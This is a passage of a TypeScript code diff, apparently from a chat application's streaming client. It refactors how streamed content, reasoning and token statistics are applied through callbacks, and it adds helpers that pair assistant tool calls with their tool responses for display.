         return "continue";
       }
       if (data.type === "content" && data.delta !== undefined) {
-        updateMessages((prev) => {
-          const next = [...prev];
-          const lastMsg = next[next.length - 1];
-          if (lastMsg?.role === "assistant")
-            next[next.length - 1] = {
-              ...lastMsg,
-              content: lastMsg.content + data.delta,
-            };
-          return next;
-        });
+        onContentDelta(data.delta);
         return "continue";
       }
       if (data.type === "reasoning" && data.delta !== undefined) {
-        updateMessages((prev) => {
-          const next = [...prev];
-          const lastMsg = next[next.length - 1];
-          if (lastMsg?.role === "assistant")
-            next[next.length - 1] = {
-              ...lastMsg,
-              reasoning: (lastMsg.reasoning ?? "") + data.delta,
-            };
-          return next;
-        });
+        onReasoningDelta(data.delta);
         return "continue";
       }
       if (data.type === "stats") {
-        const stats: ChatStats = {
+        onStats({
           promptTokens: data.prompt_tokens,
           completionTokens: data.completion_tokens,
           completionDurationMs: data.completion_duration_ms,
           tokensPerSecond: data.tokens_per_second,
-        };
-        updateMessages((prev) => {
-          const next = [...prev];
-          const lastMsg = next[next.length - 1];
-          if (lastMsg?.role === "assistant")
-            next[next.length - 1] = { ...lastMsg, stats };
-          return next;
         });
-        onStats?.(stats);
         return "continue";
       }
       return "continue";
@@ -165,9 +133,8 @@ export async function streamChatCompletion(
         const trimmed = line.trim();
         if (!trimmed) continue;
         try {
-          const data = JSON.parse(trimmed) as StreamChunk & { type: string };
-          const result = applyChunk(data as StreamChunk);
-          if (result === "break") {
+          const data = JSON.parse(trimmed) as StreamChunk;
+          if (applyChunk(data) === "break") {
             hadStreamError = true;
             break;
           }
@@ -181,50 +148,63 @@ export async function streamChatCompletion(
     // Flush remaining buffer
     if (!hadStreamError && buffer.trim()) {
       try {
-        const data = JSON.parse(buffer.trim()) as StreamChunk & {
-          type: string;
-          delta?: string;
-        };
-        if (data.type === "content" && data.delta !== undefined) {
-          updateMessages((prev) => {
-            const next = [...prev];
-            const lastMsg = next[next.length - 1];
-            if (lastMsg?.role === "assistant")
-              next[next.length - 1] = {
-                ...lastMsg,
-                content: lastMsg.content + data.delta!,
-              };
-            return next;
-          });
-        }
+        const data = JSON.parse(buffer.trim()) as StreamChunk;
+        applyChunk(data);
       } catch {
         // ignore final malformed chunk
       }
     }
-
-    if (!hadStreamError) {
-      updateMessages((prev) => {
-        const next = [...prev];
-        const lastMsg = next[next.length - 1];
-        if (lastMsg?.role === "assistant" && lastMsg.content === "")
-          next[next.length - 1] = { ...lastMsg, content: " " };
-        return next;
-      });
-    }
   } catch (err) {
     if (err instanceof DOMException && err.name === "AbortError") {
       // User stopped generation — not an error
     } else {
       onError(defaultErrorMessage);
-      updateMessages((prev) =>
-        prev.filter((m) => !(m.role === "assistant" && m.content === "")),
-      );
     }
   } finally {
     onDone();
   }
 }
 
+/** Map each tool result message to its tool_call_id for response lookup. */
+export function toolResponsesById(
+  messages: ChatMessage[],
+): Map<string, string> {
+  const map = new Map<string, string>();
+  for (const m of messages) {
+    if (m.role === "tool" && typeof m.tool_call_id === "string") {
+      map.set(
+        m.tool_call_id,
+        typeof m.content === "string" ? m.content : JSON.stringify(m.content),
+      );
+    }
+  }
+  return map;
+}
+
+/** Derive the display tool calls for one assistant message. */
+export function toolCallsForMessage(
+  message: ChatMessage,
+  responses: Map<string, string>,
+): ToolCall[] {
+  if (!message.tool_calls?.length) return [];
+  return message.tool_calls.map((tc) => {
+    let args: Record<string, unknown> | undefined;
+    const raw = tc.function?.arguments;
+    if (typeof raw === "string") {
+      try {
+        args = JSON.parse(raw) as Record<string, unknown>;
+      } catch {
+        args = undefined;
+      }
+    }
+    return {
+      name: tc.function?.name ?? "",
+      arguments: args,
+      response: responses.get(tc.id),
+    };
+  });
+}
+
 /**
  * Parse search_objects tool call response(s) into event ids for thumbnails.
  */